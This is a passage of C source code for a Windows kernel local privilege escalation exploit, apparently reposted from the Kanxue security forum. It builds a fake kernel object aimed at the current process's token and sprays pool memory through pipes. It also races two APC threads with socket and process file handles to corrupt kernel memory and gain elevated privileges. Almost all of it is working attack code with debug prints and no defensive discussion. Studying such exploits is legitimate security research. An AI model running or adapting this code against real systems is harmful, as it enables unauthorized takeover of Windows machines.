thread_addr + 0xA8; char payload[0x120 - 0x48]; memset(payload, '0', 0x120 - 0x48); *(DWORD64*)(payload + 0x0) = 0x41414141414141; *(DWORD64*)(payload + 0x8) = 0x12121212; *(DWORD64*)(payload + 0x10) = Linked_List_Entry; *(DWORD64*)(payload + 0x18) = Linked_List_Entry; *(DWORD64*)(payload + 0x20) = SeSetAccessStateGenericMapping_addr; *(DWORD64*)(payload + 0x28) = 0xffffffffffffffff; *(DWORD64*)(payload + 0x30) = 0xffffffffffffffff; *(DWORD64*)(payload + 0x38) = 0xffffffffffffffff; *(DWORD64*)(payload + 0x40) = 0x4040404040404040; *(DWORD64*)(payload + 0x48) = TokenObj; for (int i = 0; i < 0x70; i++){ HANDLE readPipe; HANDLE writePipe; DWORD resultLength = 0; BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload)); if (!res){ printf("[-] Error Creating Pipe\n"); return 0; } res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL); } return 1; } intmain() { // NtQuerySystemInformation_p = (NtQuerySystemInformation_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQuerySystemInformation"); sync_for_thread1 = CreateEvent(0, 0, 0, 0); sync_for_thread2 = CreateEvent(0, 0, 0, 0); signal_for_LPE = CreateEvent(0, 0, 0, 0); DWORD PID = GetCurrentProcessId(); HANDLE proc_handle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID); if (proc_handle == NULL) { printf("[-] Error Getting Process Handle\n"); return -1; } HANDLE hToken = 0; BOOL stat = OpenProcessToken(proc_handle, TOKEN_ADJUST_PRIVILEGES, &hToken); if(stat == FALSE){ printf("[-] Failed to Open Process Token\n"); return -1; } DWORD64 TokenObj = GetKernelPointer(hToken, TOKEN_TYPE); if(TokenObj == ERR_DONT_FIND_TARGET){ printf("[-] Failed to find Token Obj\n"); return -1; } if(TokenObj == ERR_LENGTH_MISMATCH){ printf("[-] Length Mismatched Again\n"); return -1; } NtWriteFile = (NtWriteFile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtWriteFile"); NtTestAlert = (NtTestAlert_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtTestAlert"); HANDLE hAPCThread1 = CreateThread(0, 0, APCThread_1, 0, 0, 0); if (hAPCThread1 == INVALID_HANDLE_VALUE || !hAPCThread1){ printf("[-] Error CreateThread1\n"); return -1; } HANDLE hAPCThread2 = CreateThread(0, 0, APCThread_2, 0, 0, 0); if (hAPCThread2 == INVALID_HANDLE_VALUE || !hAPCThread1){ printf("[-] Error CreateThread2\n"); return -1; } WaitForSingleObject(sync_for_thread1, -1); WaitForSingleObject(sync_for_thread2, -1); HANDLE procHandle = CreateProcessFileHandle(hAPCThread1); HANDLE sockHandle = CreateSocketFileHandle(procHandle); printf("[+] Successfully to Get procHandle[%d], socketHandle[%d]\n", procHandle, sockHandle); DWORD64 thread_addr1 = GetKernelPointer(hAPCThread1, 0x8); DWORD64 thread_addr2 = GetKernelPointer(hAPCThread2, 0x8); printf("[+] Successfully to Get threadAddr1[%p], threadAddr2[%p]\n", thread_addr1, thread_addr2); char* readBuffer = (char*)malloc(0x100); DWORD bytesRead = 0; IO_STATUS_BLOCK io; LARGE_INTEGER byteOffset; byteOffset.HighPart = 0; byteOffset.LowPart = 0; byteOffset.QuadPart = 0; byteOffset.u.LowPart = 0; byteOffset.u.HighPart = 0; ULONG key = 0; CloseHandle(procHandle); // present字段 NTSTATUS ret = NtWriteFile(sockHandle, 0, 0, 0, &io, readBuffer, 0x100, &byteOffset, &key); CloseHandle(sockHandle); if(!HeapSpray(thread_addr1, TokenObj - 8 + 0x40)){ printf("Heap Spray Error!"); } signal_for_trigger1 = 1; Sleep(0x20); // enable字段 HANDLE procHandle2 = CreateProcessFileHandle(hAPCThread2); HANDLE sockHandle2 = CreateSocketFileHandle(procHandle2); printf("[+] Successfully to Get procHandle2[%d], socketHandle2[%d]\n", procHandle2, sockHandle2); char* readBuffer2 = (char*)malloc(0x100); DWORD bytesRead2 = 0; IO_STATUS_BLOCK io2; LARGE_INTEGER byteOffset2; byteOffset2.HighPart = 0; byteOffset2.LowPart = 0; byteOffset2.QuadPart = 0; byteOffset2.u.LowPart = 0; byteOffset2.u.HighPart = 0; ULONG key2 = 0; CloseHandle(procHandle2); NTSTATUS ret2 = NtWriteFile(sockHandle2, 0, 0, 0, &io2, readBuffer2, 0x100, &byteOffset2, &key2); CloseHandle(sockHandle2); if(!HeapSpray(thread_addr2, TokenObj + 0x40)){ printf("Heap Spray2 Error!"); } signal_for_trigger2 = 1; // CreateCmd(); WaitForSingleObject(signal_for_LPE, -1); ExitProcess(0); return 0; }
文章来源:看雪社区














暂无评论内容